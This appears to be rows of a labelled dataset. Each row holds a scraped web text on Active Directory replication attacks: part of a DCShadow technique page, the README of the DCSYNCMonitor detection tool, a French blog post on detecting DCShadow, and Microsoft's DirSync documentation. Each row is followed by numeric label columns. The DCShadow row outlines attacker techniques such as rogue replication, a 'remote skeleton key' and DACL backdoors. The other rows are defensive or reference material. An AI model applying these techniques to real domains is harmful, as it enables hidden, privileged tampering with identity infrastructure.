""Remote skeleton key"" - set a NTLM hash and an AES hash not matching the same password to create Golden / Silver ticket Setting backdoor in DACL Internals How to transform attributes to attid ? First the attribute has to be found in the schema using the LDAP query (&(objectclass=attributeSchema)(lDAPDisplayName=)) Then the OID is extracted of the attribute using the property attributeID. The syntax is extracted from attributeSyntax. Both OID are converted using a prefixTable to AttiD using the procedure described in MS-DRSR 5.16.4 ATTRTYP-to-OID Conversion How to encode data to binary ? Using the attributeSyntax, a syntax is selected according to a MS-DRSR encoding algorithm. This page describes all kind of supported encoding. How a DC make the difference between an existing and a new object ? The DC checks the presence of mandatory attributes such as: instanceType, objectGuid (in NC) and whenCreated. If they are present, the object is new else it is an update. If the request is considered as an update but the object is not present, the object is considered as lingering object and an event is created Want more - ask some questions ! FAQ Is DCShadow a permanent domain controller ? No: it transforms itself as a DC only the time the changes are pushed (a few seconds) Does DCShadow deals with the KCC ? No. It only add a single branch to the replication topology and remove it afterwards. It deals with KCC only if the Configuration records stay for long and in this case, it does not break the topology. Problem & Tricks Adding objects Check that instanceType and whenCreated are set ; check that the objectGuid has not be used before (log internal processing - Duplicate event log entries were suppressed) Killing objects The creation date must be larger that the lingering time (more than 6 months!). Symptom: no RPC connection to the server Media Postcast NoLimitSecu (in French) Link & Reference Gentilkiwi's blog (in French) Mimikatz PingCastle @gentilkiwi @mysmartlogon","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"GitHub - shellster/DCSYNCMonitor: Monitors for DCSYNC and DCSHADOW attacks and create custom Windows Events for these events. Skip to content Why GitHub? Features \xe2\x86\x92 Code review Project management Integrations Actions Package registry Team management Social coding Documentation Code hosting Customer stories \xe2\x86\x92 Security \xe2\x86\x92 Enterprise Explore Explore GitHub \xe2\x86\x92 Learn & contribute Topics Collections Trending Learning Lab Open source guides Connect with others Events Community forum GitHub Education Marketplace Pricing Plans \xe2\x86\x92 Compare plans Contact Sales Nonprofit \xe2\x86\x92 Education \xe2\x86\x92 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 No suggested jump to results In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 Sign\xc2 in Sign\xc2 up Watch 3 Star 100 Fork 25 shellster/DCSYNCMonitor Code Issues 0 Pull requests 0 Projects 0 Security Insights Dismiss Join GitHub today GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up Monitors for DCSYNC and DCSHADOW attacks and create custom Windows Events for these events. 5 commits 1 branch 0 releases Fetching contributors MIT C C++ C 79.1% C++ 20.9% Branch: master New pull request Find File Clone or download Clone with HTTPS Use Git or checkout with SVN using the web URL. Download ZIP Downloading... Want to be notified of new releases in shellster/DCSYNCMonitor? Sign in Sign up Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching Xcode... If nothing happens, download Xcode and try again. Go back Launching Visual Studio... If nothing happens, download the GitHub extension for Visual Studio and try again. Go back shellster Updated Readme \xe2\x80\xa6 Updated wording in readme Latest commit 3574506 Mar 7, 2018 Permalink Type Name Latest commit message Commit time Failed to load latest commit information. DCSYNCMonitor Fixed issue with service installer that prevent service from running. Mar 5, 2018 Debug Fixed issue with service installer that prevent service from running. Mar 5, 2018 Release Fixed issue with service installer that prevent service from running. Mar 5, 2018 images Initial Public Release Feb 23, 2018 npcap Initial Public Release Feb 23, 2018 x64 Fixed issue with service installer that prevent service from running. Mar 5, 2018 DCSYNCMONITORSERVICE.sln Initial Public Release Feb 23, 2018 LICENSE Initial Public Release Feb 23, 2018 README.md Updated Readme Mar 7, 2018 README.md DCSYNCMonitor Description This tool is an application/service that can be deployed on Domain controllers to alert on Domain Controller Syncronization attempts. When an attempt is detected, the tool will write an event to the Windows Event Log. These events can be correlated in a SIEM. In addition, this tool can take a list of valid DC IP's and, in this configuration, only alert when a DC SYNC attempt comes from a non-DC ip. This tool is meant to provide Blue Teams with a way to combat DC SYNC and DC SHADOW attacks without commercial tools like Microsoft ATA or fancy IDS/IPS. Brief Youtube Video: https://www.youtube.com/watch?v=oLND9QZfaJc Installation Instructions To install this tool, you can use either the pre-built binaries or build the tool yourself. Link for prebuilt binaries is here: 32bit Service: https://github.com/shellster/DCSYNCMonitor/raw/master/Release/DCSYNCMONITORSERVICE.exe 64bit Service: https://github.com/shellster/DCSYNCMonitor/raw/master/x64/Release/DCSYNCMONITORSERVICE.exe You will need either Winpcap or Npcap installed on your domain controller. Winpcap should work, but is not recommended as the packet capture methods are not as efficient or thorough as NPcap. This tool has only been briefly tested with Winpcap. To install Npcap, downloaded the installer it from here: https://nmap.org/npcap/ You should make sure that the following options are checked: Automatically start the Npcap driver at boot time Restrict Npcap driver's access to Administrators only After installing, you will need to reboot the domain controller. Npcap does not install the supporting library DLLs into the System's DLL search path, so you will need to perform the following tasks after installing: copy ""%WINDIR%\\System32\\Npcap\\*.dll"" ""%WINDIR%\\System32\\"" #If Applicable (32bit Service on 64bit System): copy ""%WINDIR%\\SYSWOW64\\Npcap\\*.dll"" ""%WINDIR%\\SYSWOW64\\"" note: If the previous step is not completed, you will recieve errors about a missing wpcap.dll or Packet.dll when attempting to run the tool. Now copy the DCSYNCMONITOR.EXE from this project into an appropriate location. We recommend %WINDIR%\\SYSTEM32 for either 32bit systems or 64bit systems with a 64bit service, or %WINDIR%\\SYSWOW64 if you are using the 32bit service on a 64bit system. The tool can now be run. However, you can either run it one of two ways: Without a configuration file In this mode, the tool will write a DCSYNCALERT Warning event to the Windows Application Event Log everytime a new IP (not seen in the previous five minutes) attempts to perform a DC SYNC against the domain controller. This will include legitimate syncronization activities between domain controllers. With a configuration file A configuration file called, ""dc_ip_list.conf"" can be placed in the same directory as the tool. If this file exists, it should contain one IPv4 (or long form IPv6) address per line. The tool will ingest this list on start-up. In this mode, no events will be written for DC Sync attempts from matching IP addresses. However, if a DC Sync attempt occurs from any other IP address, a DCSYNCALERT Error event will be written to the Windows Application Event Log. note Changes to the dc_ip_list.conf file will not take affect until the service is stopped and restarted. The usual way to use this tool is to install it as a service. Once the tool is placed in the correct folder, this can easily be accomplished by running: DCMONITORSERVICE.exe -install Once you have installed the service, you will need to start it manually from the Services.msc menu or by using appropriate net or sc commands. It will auto-start on future reboots. Should you need to uninstall the service, run the following command: DCMONITORSERVICE.exe -remove Finally, to run the tool in stand-alone mode, without installing a service (especially useful for debugging): DCMONITORSERVICE.exe -standalone Screenshots DC SYNC Warning events occur when there is no list of valid DC IPs provided, or when a DC SYNC occurs from a valid DC IP: DC SYNC Error events occur when a list of valid DC IPs are provided and a DC SYNC occurs from any other IP address: Compilation Instructions You will need Visual Studio 2015 or later. The Community (free) edition is perfectly acceptable. Once you open the project, you should be able to immediately build Dev and Release versions in both 32bit and 64bit varieties. The Debug editions should not be deployed in a production environment. They spit extensive error and debugging information, including tcp packet dumps (if you uncomment the following) line in the monitor.cpp file: #ifdef _DEBUG //debug_print(""TCP SRC IP: %s\\nData:\\n"", tcppacket.source_ip.address.c_str()); //print_payload((const u_char *)tcppacket.data, tcppacket.data_length); #endif Release versions are much smaller and automatically strip debug statements. Important Limitations This tool has the following known limitations: The tool does a byte comparision for the DSNcChange Packet. This pattern should be fairly robust, but can likely be defeatable by an advanced attacker. The tool does not handle IPv4 fragmentation. An attacker could concievably specially craft a DC SYNC request with IPv4 fragmentation to bypass the packet sniffing. The tool does not handle IPv6 packet extensions. An attacker, on an IPv6 network could conceivably craft a DC SYNC request that contains extra header extensions or use a Jumbogram to bypass the signatures. The tool does not handle malformed packets which may or may not be correctly dropped by the kernel. It is highly unlikely, but a false postive could occur if a random tcp packet manages to match the 11 byte signature this tool checks for. This tool will only work on Server 2008 or later. License This tool is provided under the MIT License (See LICENSE) References Significant packet parsing insight and coding help was gathered from: https://www.tcpdump.org/sniffex.c The C++ Windows Service boilerplate was taken from here: https://code.msdn.microsoft.com/windowsapps/CppWindowsService-cacf4948 The following page provided significant guidance on how to write to event logs: https://stackoverflow.com/questions/8559222/write-an-event-to-the-event-viewer Credit Tool was written by Shelby Spencer: Twitter: shellsterdude Keybase.io: shellster Github: shellster FusionX generously provided me with time to update and refine this tool as well as a platform to announce it. However, this project is solely owned and developed by me. Feedback Suggestions, feedback, and PR's are all welcome and encouraged. \xc2\xa9 2019 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About You can\xe2\x80\x99t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Active Directory et la S\xc3\xa9curit\xc3\xa9: D\xc3\xa9tecter DCShadow, impossible ? Active Directory et la S\xc3\xa9curit\xc3\xa9 Blog d\xc3\xa9di\xc3\xa9 \xc3 la s\xc3\xa9curisation des environnements Active Directory et aux environnements Microsoft en g\xc3\xa9n\xc3\xa9ral dimanche 18 f\xc3\xa9vrier 2018 D\xc3\xa9tecter DCShadow, impossible ? Bonjour \xc3 tous, Je vous propose aujourd'hui un article sur l'attaque pr\xc3\xa9sent\xc3\xa9e par Vincent Le Toux (@mysmartlogon) et Benjamin Delpy (@gentilkiwi) durant la conf\xc3\xa9rence de s\xc3\xa9curit\xc3\xa9 BluehatIL 2018 qui a eu lieu les 23 et 24 janvier. Leur pr\xc3\xa9sentation s'intitulait\xc2 Active Directory: What can make your million dollar SIEM go blind? En effet, l'int\xc3\xa9r\xc3\xaat pour un attaquant d'utiliser DCSHadow est de ne laisser aucune tracer de ses modifications puisque celles-ci sont effectu\xc3\xa9es sur une machine compromise par l'attaquant. Ainsi aucun log de modification AD n'est remont\xc3\xa9. Vous pouvez retrouver la vid\xc3\xa9o et les slides de la pr\xc3\xa9sentation sur le site officiel sur DCShadow\xc2 https://www.dcshadow.com/. Un peu d'histoire La premi\xc3\xa8re \xc3\xa9vocation par Vincent et Benjamin\xc2 de ce qui allait devenir DCShadow remonte \xc3 l'\xc3\xa9t\xc3\xa9 2017. Faisant de la r\xc3\xa9ponse \xc3 incident sur Active Directory depuis quelques ann\xc3\xa9es le tweet de Vincent m'a forc\xc3\xa9mment interpel\xc3\xa9. La possibilit\xc3\xa9 qu'un attaquant puisse alt\xc3\xa9rer les m\xc3\xa9tadonn\xc3\xa9es de r\xc3\xa9plication a toujours \xc3\xa9t\xc3\xa9 une de nos craintes sur le forensic AD. J'ai pourtant \xc3\xa9voqu\xc3\xa9 en r\xc3\xa9pondant \xc3 ses tweets une autre m\xc3\xa9thode, non forensic mais plus de blue team, les cookies de r\xc3\xa9plication AD. Les cookies de r\xc3\xa9plication AD sont assez m\xc3\xa9connus mais utilis\xc3\xa9s par les \xc3\xa9quipes de r\xc3\xa9ponse \xc3 incident AD lors des rem\xc3\xa9diations/reconstructions d'environnement Active Directory compromis. Ils permettent notamment de limiter l'interruption de service lors de la rem\xc3\xa9diation contrairement aux pr\xc3\xa9c\xc3\xa9dentes m\xc3\xa9thodologies. C'est un sujet assez peu document\xc3\xa9 mais on peut en trouver une trace dans la pr\xc3\xa9sentation de l'ANSSI sur TV5 Monde du SSTIC 2017 Retour technique de l'incident de TV5Monde. Cookie de r\xc3\xa9plication AD Un cookie de r\xc3\xa9plication est un fichier g\xc3\xa9n\xc3\xa9r\xc3\xa9 par l'utilisation d'une extension de serveur LDAP, le contr\xc3\xb4le DirSync. Il faut d'abord initialiser le cookie pour pouvoir avoir les modifications depuis la derni\xc3\xa8re utilisation du cookie. Pour plus d'informations sur comment tracer les modifications vous pouvez consulter le lien suivant :\xc2 Overview of Change Tracking Techniques. Vous retrouverez dedans une page d\xc3\xa9di\xc3\xa9e au contr\xc3\xb4le DirSync.\xc2 Pour utiliser ce contr\xc3\xb4le, il ya plusieurs possibilit\xc3\xa9s. La plus simple pour tester rapidement, c'est d'utiliser Repadmin avec le switch /showchanges (visible avec l'aide en mode expert de repadmin /experthelp). C'est ce que je vais utiliser dans cet article. Pour des r\xc3\xa9sultats plus exploitables, on utilisera les m\xc3\xa9thodes de la classe\xc2 System.DirectoryServices.DirectorySynchronization\xc2 Ca marche tr\xc3\xa8s bien avec du powershell : Je ne vais pas m'\xc3\xa9tender c'est relativement simple \xc3 utiliser. Revenons maintenant sur l'attaque DCShadow. D\xc3\xa9tection de l'utilisation de DCShadow Alsid a fait un tr\xc3\xa8s bon article sur DCShadow (DCShadow explained: A technical deep dive into the latest AD attack technique) je vais donc revenir dessus tr\xc3\xa8s bri\xc3\xa8vement.\xc2 \xc2 D\xc3\xa9tecter l'utilisation de DCShadow peut para\xc3\xaetre assez trivial. En effet, pour \xc3\xaatre utilis\xc3\xa9, DCShadow doit au pr\xc3\xa9alable effectuer des modifications sur des objets Active Directory. En journalisant la modification de ces objets, on peut d\xc3\xa9tecter facilement l'utilisation de DCShadow. Il suffit pour cela de configurer correctement la politique d'audit (audit r\xc3\xa9plication d\xc3\xa9taill\xc3\xa9e et modifications AD) et de configurer quelques SACL (\xc3\xa9criture de l'attribut servicePrincipalName des objets Computer ). Il ya toutefois un gros b\xc3\xa9mol \xc3 cette technique. L'attaquant en capacit\xc3\xa9 d'utiliser DCShadow dispose de privil\xc3\xa8ges \xc3\xa9lev\xc3\xa9s sur l'Active Directory. Rien ne l'emp\xc3\xaache de modifier temporairement la politique d'audit sur le contr\xc3\xb4leur de domaine qui sera cibl\xc3\xa9 par DCShadow pour la r\xc3\xa9activer par la suite.\xc2 \xc2 Ca nous laisse donc la d\xc3\xa9tection par le r\xc3\xa9seau qui est beaucoup moins trivial \xc3 mettre en place ou les cookies de r\xc3\xa9plication. Il est int\xc3\xa9ressant d'ailleurs de comparer ce que remonte la journalisation AD avec ce que remonte le cookie de r\xc3\xa9plication. J'effectue une modification avec DCShadow. Voici ce que j'ai dans le log: On peut voir l'ajout puis la suppression du SPN de catalogue global (GC/). Voici ce qu'on a avec le cookie de r\xc3\xa9plication: Avec le cookie de r\xc3\xa9plication, on a la valeur finale du SPN, avec le GUID du service DRS mais pas le GC qui a \xc3\xa9t\xc3\xa9 supprim\xc3\xa9. Ce qui est int\xc3\xa9ressant c'est que la journalisation ne log pas l'ajout du SPN du service DRS (GUID E35...).\xc2 On peut donc d\xc3\xa9j\xc3 d\xc3\xa9tecter l'utilisation de DCShadow sans utiliser la journalisation ni la capture r\xc3\xa9seau. Comme je l'ai d\xc3\xa9j\xc3 dit, l'int\xc3\xa9r\xc3\xaat de DCShadow est de ne pas laisser de trace sur les modifications en elles-m\xc3\xaame. C'est bien de d\xc3\xa9tecter que DCShadow a \xc3\xa9t\xc3\xa9 utilis\xc3\xa9 mais ne pas savoir ce qui a \xc3\xa9t\xc3\xa9 modifi\xc3\xa9 rend la rem\xc3\xa9diation imposible. On va voir qu'il y a plusieurs cas en fonction de comment on utilise DCShadow. Mais avant de voir tout \xc3\xa7a nous allons faire un tr\xc3\xa8s court rappel sur ce qui d\xc3\xa9clenche une r\xc3\xa9plication entre les contr\xc3\xb4leurs de domaine car \xc3\xa7a a \xc3\xa9norm\xc3\xa9ment d'importance pour la suite. R\xc3\xa9plication AD et USN La r\xc3\xa9plication AD se base sur le num\xc3\xa9ro USN (Update Sequence Number). Pour faire tr\xc3\xa8s simple, le DC qui demande les r\xc3\xa9plications \xc3 son partenaire demande les modifications effectu\xc3\xa9es depuis le dernier USN qu'il connait. Autrement dit, ton dernier USN que je connais est X, envoie-moi les attributs qui ont un num\xc3\xa9ro USN sup\xc3\xa9rieur. Pour plus d'informations, vous pouvez vous r\xc3\xa9ferrez \xc3 cet article du technet : Tracking updates Comme je l'ai dit l'USN a beaucoup d'importance pour la suite. D\xc3\xa9tection des modifications op\xc3\xa9r\xc3\xa9es via DCShadow Je n'ai pas pu tester tous les cas possibles en quelques heures mais voici d\xc3\xa9j\xc3 un bon aper\xc3\xa7u. Modification d'un attribut existant sur le DC o\xc3\xb9 a eu lieu la derni\xc3\xa8re modification de l'attribut avec les switchs de DCShadow par d\xc3\xa9faut Le premier cas que l'on va voir est l'utilisation de DCShadow telle qu'elle a \xc3\xa9t\xc3\xa9 faite au d\xc3\xa9but de l'article. Si l'on regarde les m\xc3\xa9tadonn\xc3\xa9es de l'objet nous avons ceci : On peut voir que la valeur du num\xc3\xa9ro USN de l'attribut Description est 42, nombre assez remarquable. En regardant le code source, on trouve rapidement que c'est une valeur hardcod\xc3\xa9e et qu'il ya une branche conditionnelle (switch qu'on verra plus tard). Ce qui m'a \xc3\xa9tonn\xc3\xa9 quand j'ai jou\xc3\xa9 la premi\xc3\xa8re fois avec DCShadow, c'\xc3\xa9tait que cette modification n'\xc3\xa9tait pas d\xc3\xa9tect\xc3\xa9e par le cookie de r\xc3\xa9plication. Mon premier r\xc3\xa9flexe a \xc3\xa9t\xc3\xa9 de me dire qu'il sera catch\xc3\xa9 par le cookie sur mon second DC lors de la r\xc3\xa9plication, mais je n'avais rien non plus et surtout l'attribut n'\xc3\xa9tait pas modifi\xc3\xa9 sur le second DC. Je v\xc3\xa9rifie les r\xc3\xa9plications et il n'y a pas de probl\xc3\xa8me. Je compare ensuite les m\xc3\xa9tadonn\xc3\xa9es de r\xc3\xa9plication. Et l\xc3 on peut voir une diff\xc3\xa9rence entre les 2. Ma modification effectu\xc3\xa9e avec DCShadow n'a donc pas \xc3\xa9t\xc3\xa9 repliqu\xc3\xa9e sur les autres contr\xc3\xb4leurs de domaine. La raison est simple, la valeur d'USN \xc3\xa9tant 42, la modification n'est pas r\xc3\xa9pliqu\xc3\xa9e. On voit tout de suite un int\xc3\xa9r\xc3\xaat du point de vue DFIR. Premi\xc3\xa8rement, 42 est un marquant fort dans les m\xc3\xa9tadonn\xc3\xa9es de r\xc3\xa9plication (mais peut-\xc3\xaatre modifi\xc3\xa9 dans le code par l'attaquant). Deuxi\xc3\xa8mement, les modifications n'ayant pas \xc3\xa9t\xc3\xa9 repliqu\xc3\xa9es, la rem\xc3\xa9diation des modifications est tr\xc3\xa8s simple, il suffit de reconstruire le DC (apr\xc3\xa8s avoir r\xc3\xa9gl\xc3\xa9 le probl\xc3\xa8me de privil\xc3\xa8ge bien \xc3\xa9videmment). Dans ce cas, on ne se sert pas du cookie de r\xc3\xa9plication puisqu'il n'y a pas r\xc3\xa9plication mais on peut retrouver les modifications via les m\xc3\xa9tadonn\xc3\xa9es (ou comparer les donn\xc3\xa9es entre le DC sur lequel DCShadow a \xc3\xa9t\xc3\xa9 utilis\xc3\xa9 et un autre DC). L'int\xc3\xa9r\xc3\xaat pour l'attaquant est bien \xc3\xa9videmment de ne pas utiliser DCShadow dans ce sens. Puisque si on d\xc3\xa9tecte l'utilisation de DCShadow sur ce contr\xc3\xb4leur de domaine on retrouvera rapidement les modifications qu'il a effectu\xc3\xa9es. On va donc utiliser l'autre branche conditionnelle du code qui est un switch permettant de sp\xc3\xa9cifier le num\xc3\xa9ro USN. Modification d'un attribut existant sur le DC o\xc3\xb9 a eu lieu la derni\xc3\xa8re modification de l'attribut\xc2 en utilisant le switch replOriginatingUsn de DCShadow Cette fois, nous allons sp\xc3\xa9cifier la valeur du num\xc3\xa9ro USN. On recommence cette fois en utilisant le switch /replOriginatingUsn avec un num\xc3\xa9ro USN permettant la r\xc3\xa9plication. On v\xc3\xa9rifie les r\xc3\xa9plications. Et l\xc3 , on voit que la modification de l'attribut Description a bien \xc3\xa9t\xc3\xa9 r\xc3\xa9pliqu\xc3\xa9e. D'un point de vue DFIR c'est la merde, les modifications ont \xc3\xa9t\xc3\xa9 r\xc3\xa9pliqu\xc3\xa9es et je n'ai plus le marquant du num\xc3\xa9ro USN. Bonne chance pour rem\xc3\xa9dier ... Mais cette fois, si on regarde le cookie de r\xc3\xa9plication: On voit bien la modification avec la valeur de l'attribut modifi\xc3\xa9. Il est assez facile de retrouver les modifications op\xc3\xa9r\xc3\xa9es avec DCShadow puisqu'elles vont suivre la modification du SPN. Autre marquant Je me suis demand\xc3\xa9 si l'utilisation de DCShadow pouvait provoquer un USN Rollback. En r\xc3\xa9flechissant, \xc3\xa7a ne peut pas \xc3\xaatre le cas mais en regardant la valeur de Up-to-dateness Vector j'ai eu la surprise de voir ceci. A creuser mais \xc3\xa7a pourrait \xc3\xaatre un marquant de l'utilisation de DCShadow si on n'a pas d\xc3\xa9ploy\xc3\xa9 de moyen de d\xc3\xa9tection.\xc2 Conclusion On peut donc d\xc3\xa9sormais r\xc3\xa9pondre \xc3 la question de cet article, est-ce vraiment impossible de d\xc3\xa9tecter DCShadow ? Il faut bien s\xc3\xa9parer utilisation de DCShadow et modifications op\xc3\xa9r\xc3\xa9es par DCShadow. Dans les 2 cas on a pu voir qu'il \xc3\xa9tait possible de les d\xc3\xa9tecter (Bien que je n'ai pas pu tester tous les cas possibles). Cette d\xc3\xa9tection s'av\xc3\xa8re tout de m\xc3\xaame tr\xc3\xa8s difficile. Clairement si vous n'\xc3\xaates pas en capacit\xc3\xa9 d'emp\xc3\xaacher l'attaquant de r\xc3\xa9cup\xc3\xa9rer les privil\xc3\xa8ges n\xc3\xa9cessaires \xc3 l'utilisation de DCShadow, il est peu probable que vous soyez en capacit\xc3\xa9 de d\xc3\xa9ployer une d\xc3\xa9tection bas\xc3\xa9e sur les cookies de r\xc3\xa9plication. Publi\xc3\xa9 par Gr\xc3\xa9gory LUCAND \xc3 12:54:00 PM Envoyer par e-mailBlogThis!Partager sur TwitterPartager sur FacebookPartager sur Pinterest Libell\xc3\xa9s : Active Directory, dcshadow, Forensic, Metadata, mimikatz Aucun commentaire: Enregistrer un commentaire Article plus r\xc3\xa9cent Article plus ancien Accueil Inscription \xc3 : Publier les commentaires (Atom) Qui suis-je ? Gr\xc3\xa9gory LUCAND Active Directory Security Consultant Afficher mon profil complet Archives du blog \xe2\x96\xbc\xc2 2018 (3) ao\xc3\xbbt (2) f\xc3\xa9vrier (1) \xe2\x96\xba\xc2 2017 (7) ao\xc3\xbbt (7) \xe2\x96\xba\xc2 2014 (22) ao\xc3\xbbt (4) juillet (8) juin (1) avril (1) mars (3) f\xc3\xa9vrier (5) Accueil D\xc3\xa9l\xc3\xa9gation AD Forensic AD Th\xc3\xa8me Awesome Inc.. Fourni par Blogger.","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Polling for Changes Using the DirSync Control - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Polling for Changes Using the DirSync Control 05/31/2018 6 minutes to read In this article Active Directory directory synchronization (DirSync) control is an LDAP server extension that enables an application to search an directory partition for objects that have changed since a previous state. Use the DirSync control through ADSI by specifying the ADS_SEARCHPREF_DIRSYNC search preference when using IDirectorySearch. For more information and a code example, see Example Code Using ADS_SEARCHPREF_DIRSYNC. You can also perform a DirSync search using the LDAP API. The following describes the ADSI implementation, most of which also applies to using LDAP directly, except as discussed at the end of this topic. When you perform a DirSync search, you pass in a provider-specific data element (cookie) that identifies the directory state at the time of the previous DirSync search. For the first search, you pass in a null cookie, and the search returns all objects that match the filter. The search also returns a valid cookie. Store the cookie in the same storage that you are synchronizing with the Active Directory server. On subsequent searches, get the cookie from storage and pass it with the search request. The search results now include only the objects and attributes that have changed since the previous state identified by the cookie. The search also returns a new cookie to store for the next search. The following table lists search parameters that the client search request can specify. Parameter Description Base of the search The base of a DirSync search must be the root of a directory partition, which can be a domain partition, the configuration partition, or the schema partition. Scope The scope of a DirSync search must be ADS_SCOPE_SUBTREE, that is, the entire subtree of the partition. Be aware that for a search of a domain partition, the subtree includes the heads, but not the contents, of the configuration and schema partitions. To poll for changes in a smaller scope, use the USNChanged technique instead of DirSync. Filter You can specify any valid search filter. For an initial search with a null cookie, the results include all objects that match the filter. For subsequent searches with a valid cookie, the search results include data only for objects that match the filter and have changed since the state indicated by the cookie. For more information about search filters, see Creating a Query Filter. Attributes You can specify a list of attributes to be returned when a change occurs. For each object, the initial results include all the requested attributes set on the object. Subsequent search results include only the specified attributes that have changed. Unchanged attributes are not included in the search results. In the ADSI implementation, the search results always include the objectGUID and instanceType of each object. Also, the specified attribute list acts as an additional filter: the initial search results include only objects that have at least one of the specified attributes set; subsequent searches include only objects on which one or more of the attributes have changed (values added or deleted). \xc2 Also, be aware that: For incremental searches, the best practice is to bind to the same domain controller (DC) used in the previous search, that is, the DC that generated the cookie. If the same DC is unavailable, either wait until it is, or bind to a new DC and perform a full synchronization. Store the DNS name of the DC in the secondary storage with the cookie. You can pass a cookie generated by one DC to a different DC hosting a replica of the same directory partition. There is no chance that a client will miss changes by using a cookie from one DC on another DC. However, it is possible that the search results from the new DC may include reported changes by the old DC; in some cases, the new DC may return all objects and attributes, as with a full synchronization. The client should just make its database consistent with reported search results for any given DirSync call, that is, handle all incremental results as if they were the latest state. It does not matter whether you have seen the change before or are even going back to a previous state because repeated incremental synchronizations will converge on consistency. When an object is renamed or moved, its child objects, if any, are not included in the search results, even though the distinguished names of the child objects have changed. Similarly, when an inheritable ACE is modified in an object security-descriptor, the child objects of the object are not included in the search results, even though the security-descriptors of the child objects have changed. Use the objectGUID attribute to identify the tracked objects. The objectGUID of each object remains unchanged regardless of where the object is moved within the forest. Be aware that the search results of a DirSync search indicate the state of the objects on a replica of the directory partition at the time of the search. This means that changes made on other DCs will not be included if they have not been replicated to the target DC. It also means that an object's attributes may have changed several times since the previous DirSync search, but the search will show only the final state, not the sequence of changes. In the ADSI implementation, the application must handle the cookie as opaque and not make any assumptions about its internal organization or value. Be aware that the client stores the cookie, cookie length, and DNS name of the DC in the same storage that contains the synchronized object data. This ensures that the cookie and other parameters remain in sync with the object data if the storage is ever restored from a backup. To retrieve the parentGUID attribute, which is constructed for the DirSync control, it is also necessary to request the name attribute. To use the DirSync control, caller must have the ""directory get changes"" right assigned on the root of the partition being monitored. By default, this right is assigned to the Administrator and LocalSystem accounts on domain controllers. The caller must also have the DS-Replication-Get-Changes extended control access right. For more information about implementing a change-tracking mechanism for applications that must run under an account that does not have this right, see Polling for Changes Using USNChanged. For more information about privileges, see Privileges. Retrieving Deleted Objects With a DirSync Search The ADS_SEARCHPREF_DIRSYNC search results automatically include deleted objects (tombstones) that match the specified search filter. However, a search filter that will match an object when it is live may not match the object after it is deleted. This is because tombstones retain only a subset of the attributes present on the original object. For example, you would typically use the following filter for user objects. (&(objectClass=user)(objectCategory=person)) The objectCategory attribute is removed when an object is deleted, so the filter above would not match any tombstone objects. Conversely, the objectClass attribute is retained on tombstone objects, so a filter of ""(objectClass=user)"" would match deleted user objects. The attribute list that you specify with a DirSync search also acts as a filter; search results include only objects on which one or more of the specified attributes have changed since the previous DirSync search. If the attribute list does not include any attributes that are retained on tombstones, the search results will not include tombstones. To handle this, request all attributes by specifying a null attribute list; or you can request the isDeleted attribute, set to TRUE on all tombstones. Tombstone attributes have the 0x8 bit set in the searchFlags attribute of the attributeSchema definition. For more information, see Retrieving Deleted Objects. LDAP Implementation of the DirSync Control You can also perform a DirSync search by using the LDAP API with the LDAP_SERVER_DIRSYNC_OID control. If you use the LDAP API, also specify the LDAP_SERVER_EXTENDED_DN_OID and LDAP_SERVER_SHOW_DELETED_OID controls. The LDAP_SERVER_EXTENDED_DN_OID control causes an LDAP search to return an extended form of the 